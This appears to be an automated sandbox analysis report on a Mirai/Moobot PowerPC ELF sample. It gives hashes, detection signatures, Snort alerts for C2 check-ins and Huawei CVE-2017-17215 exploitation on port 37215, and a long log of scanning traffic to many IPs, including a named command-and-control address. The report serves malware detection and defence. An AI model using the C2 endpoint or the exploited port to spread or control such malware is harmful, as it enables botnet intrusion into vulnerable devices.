Linux Analysis Report
lD25Z9LfKe.elf

Overview

General Information

Sample Name: lD25Z9LfKe.elf
Original Sample Name: c929d58b6bb8f66edc985003ba50c3c1.elf
Analysis ID: 830684
MD5: c929d58b6bb8f66edc985003ba50c3c1
SHA1: 711976261f2f197a341dca8afdb7679f04aa3f99
SHA256: e1366976365db1f2bffdc37d4e64e12f883f9a20e02b12d52b6a1b346b8f0692
Tags: 32elfmiraipowerpc
Infos:

Detection

Mirai, Moobot
Score: 92
Range: 0 - 100
Whitelisted: false

Signatures

Yara detected Mirai
Multi AV Scanner detection for submitted file
Malicious sample detected (through community Yara rule)
Yara detected Moobot
Snort IDS alert for network traffic
Connects to many ports of the same IP (likely port scanning)
Uses known network protocols on non-standard ports
Sets full permissions to files and/or directories
Yara signature match
Executes the "mkdir" command used to create folders
Uses the "uname" system call to query kernel version information (possible evasion)
Executes the "chmod" command used to modify permissions
Enumerates processes within the "proc" file system
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Detected TCP or UDP traffic on non-standard ports
Sample has stripped symbol table
Sample tries to set the executable flag
HTTP GET or POST without a user agent
Executes commands using a shell command-line interpreter
Executes the "rm" command used to delete files or directories
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Classification

AV Detection
barindex
Multi AV Scanner detection for submitted file
Source: lD25Z9LfKe.elf Virustotal: Detection: 60% Perma Link
Source: lD25Z9LfKe.elf ReversingLabs: Detection: 61%

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2023883 ET DNS Query to a *.top domain - Likely Hostile 192.168.2.23:33891 -> 8.8.8.8:53
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47796 -> 156.224.24.249:56999
Source: Traffic Snort IDS: 2030489 ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response 156.224.24.249:56999 -> 192.168.2.23:47796
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57718 -> 41.34.164.79:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:40848 -> 34.117.1.253:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:33038 -> 197.234.59.68:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:35290 -> 197.214.98.38:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:32970 -> 41.237.49.241:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:46324 -> 103.167.148.132:37215
Source: Traffic Snort IDS: 2023883 ET DNS Query to a *.top domain - Likely Hostile 192.168.2.23:59786 -> 8.8.8.8:53
Source: Traffic Snort IDS: 2030490 ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1) 192.168.2.23:47828 -> 156.224.24.249:56999
Source: Traffic Snort IDS: 2030489 ET TROJAN ELF/MooBot Mirai DDoS Variant Server Response 156.224.24.249:56999 -> 192.168.2.23:47828
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:42302 -> 41.37.68.246:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:38528 -> 41.234.87.51:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:59180 -> 141.117.56.180:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55414 -> 20.28.196.139:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:45430 -> 197.39.222.152:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:52042 -> 41.236.241.240:37215
Source: Traffic Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57754 -> 192.119.137.74:37215
Connects to many ports of the same IP (likely port scanning)
Source: global traffic TCP traffic: 41.34.164.79 ports 1,2,3,5,7,37215
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 57718 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 57718
Source: unknown Network traffic detected: HTTP traffic on port 40848 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 33038 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 35290 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 32970 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 32970
Source: unknown Network traffic detected: HTTP traffic on port 46324 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 42302 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 42302
Source: unknown Network traffic detected: HTTP traffic on port 38528 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 38528
Source: unknown Network traffic detected: HTTP traffic on port 59180 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 59180 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 59180 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 59180 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 55414 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 59180 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 45430 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 45430
Source: unknown Network traffic detected: HTTP traffic on port 59180 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 59180 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 52042 -> 37215
Source: unknown Network traffic detected: HTTP traffic on port 37215 -> 52042
Source: unknown Network traffic detected: HTTP traffic on port 57754 -> 37215
Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)
Source: global traffic TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 108.23.15.161:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.165.92.99:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 104.153.167.161:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.42.145.5:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.20.140.65:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.64.209.101:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.140.236.98:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.244.59.153:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.97.202.233:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.213.2.53:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.108.8.168:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 151.205.68.245:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.255.112.187:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.160.174.21:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.253.197.212:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 132.62.148.240:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 12.57.136.99:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 186.31.201.229:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.175.42.37:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.202.60.226:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.64.226.37:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.26.253.120:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.113.57.36:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.82.51.24:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 57.109.182.87:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.167.145.206:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.227.157.64:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.179.174.37:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.85.238.20:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 73.165.229.133:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.154.6.95:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.194.99.37:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.166.106.157:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.161.169.80:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.88.149.180:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.25.122.189:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.91.173.234:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.53.184.138:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.26.172.56:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.204.227.45:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.15.82.229:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.251.194.205:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 79.178.176.109:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.199.28.116:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.255.52.105:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.127.210.180:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.13.33.224:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.223.156.180:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 182.83.22.166:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.34.53.56:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.190.66.222:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.224.156.109:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 209.212.113.30:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.143.38.129:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 18.1.233.177:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.69.152.42:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.58.171.0:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.21.64.242:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.205.222.221:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.240.161.132:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.108.232.109:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.89.166.81:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 216.34.3.69:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.43.139.65:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.171.54.124:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.198.147.97:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.56.100.50:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 32.196.123.107:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.85.243.10:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.152.244.247:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 184.199.41.192:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 67.232.166.126:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.209.49.128:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 163.198.50.144:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.219.5.134:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.81.255.113:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 153.139.178.236:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 107.251.18.105:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.26.152.231:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.89.224.214:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.215.74.158:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.68.189.93:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.247.249.84:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.52.242.6:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.203.31.65:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.59.75.104:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.120.113.154:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.72.62.52:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 148.40.162.183:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 76.202.191.68:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.193.163.186:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.32.3.105:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.203.164.65:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.170.187.146:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.158.241.252:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.221.139.5:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.204.102.129:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 219.89.123.50:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.38.164.8:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.74.158.200:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.45.232.160:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.179.103.30:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.157.134.147:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.44.107.192:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.27.251.124:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 190.73.69.21:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.185.50.180:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.10.216.162:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 199.133.151.164:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.157.113.222:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.184.102.167:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.239.151.101:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.134.169.78:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.239.94.232:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.138.207.252:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 223.170.224.186:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.168.169.55:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 73.198.71.177:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.191.205.186:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 150.98.26.85:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.240.131.138:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.150.126.83:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.176.253.200:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.174.114.168:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.107.137.129:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.191.225.221:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.54.251.196:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.200.152.31:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 222.25.56.231:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.14.33.1:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 5.113.217.55:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.50.89.255:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.239.9.84:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.242.60.216:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.176.199.130:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.246.84.210:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.206.133.61:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.141.127.105:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.116.67.145:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.127.81.208:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.90.60.55:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.132.213.187:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 163.70.74.216:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.84.211.67:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.63.140.21:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 104.235.12.82:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.80.10.98:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 204.31.227.127:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.38.189.179:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.128.151.190:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.0.58.121:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.199.45.144:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 95.163.190.237:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 175.78.4.69:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.0.66.207:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.70.223.97:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.126.85.98:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.12.29.185:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.98.183.139:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 169.149.239.114:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.109.89.224:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 152.220.130.254:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.75.243.238:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 199.214.249.255:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 19.181.108.15:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.138.28.90:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.65.216.56:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.174.185.184:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.102.64.32:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.11.19.44:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.210.212.167:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 96.5.186.162:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.18.86.71:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 138.203.247.12:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.178.158.209:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.189.123.166:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.105.206.91:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.20.161.29:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.91.238.132:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.132.162.22:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.212.90.183:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.37.62.179:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 160.244.207.110:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.182.61.152:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.226.253.143:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 38.43.62.110:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.166.181.172:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.12.51.236:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.126.88.63:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.231.115.243:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.213.181.82:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.136.183.94:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 118.131.58.199:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.181.4.69:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.229.102.228:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.118.138.240:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.48.250.161:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.185.59.105:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.3.136.191:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.0.38.110:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.164.111.246:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.127.20.51:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.203.60.193:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 148.61.162.37:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.240.208.170:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.252.146.87:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.159.158.187:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.107.11.232:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.98.143.107:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.168.111.249:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.216.29.15:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.58.106.89:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.137.222.98:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.86.162.104:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 25.180.3.29:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.185.193.168:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.74.27.241:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 180.66.67.203:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.156.30.248:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 147.239.178.10:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.114.55.74:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 114.11.212.179:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.6.52.233:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.34.249.223:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.163.207.17:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.166.219.73:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.232.64.45:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 137.11.12.17:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 164.253.47.237:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 129.103.28.168:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.134.37.41:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.41.230.80:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.227.27.185:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.68.113.29:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 183.120.173.179:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.192.189.56:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.216.198.222:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.120.81.248:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.25.94.52:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 113.230.77.234:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 200.195.192.34:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.227.184.89:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.230.234.249:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.217.157.239:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.222.155.59:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.159.130.100:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.6.205.207:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.121.236.49:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.44.82.107:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.216.23.47:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.91.104.193:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.45.84.18:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.169.126.49:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.53.189.147:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 201.143.90.124:37215
Source: global traffic TCP traffic: 192.168.2.23:47796 -> 156.224.24.249:56999
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.54.157.137:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.227.162.178:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 46.194.98.54:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.252.210.181:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.145.7.55:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 221.130.215.34:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.189.124.212:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 71.74.82.245:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 166.21.109.181:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.76.137.170:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.166.194.51:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.181.199.232:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.255.183.254:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.13.229.143:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 64.185.187.99:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.40.12.58:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.221.188.124:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.241.108.173:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.23.161.21:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 76.250.76.29:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 195.159.180.16:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 150.254.200.197:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.244.140.27:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.46.170.88:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 96.250.71.133:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.205.255.36:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.87.148.145:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 151.131.161.3:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.28.209.136:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.61.79.46:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 41.228.155.67:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.90.111.131:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 197.96.228.122:37215
Source: global traffic TCP traffic: 192.168.2.23:1535 -> 157.32.203.229:37215
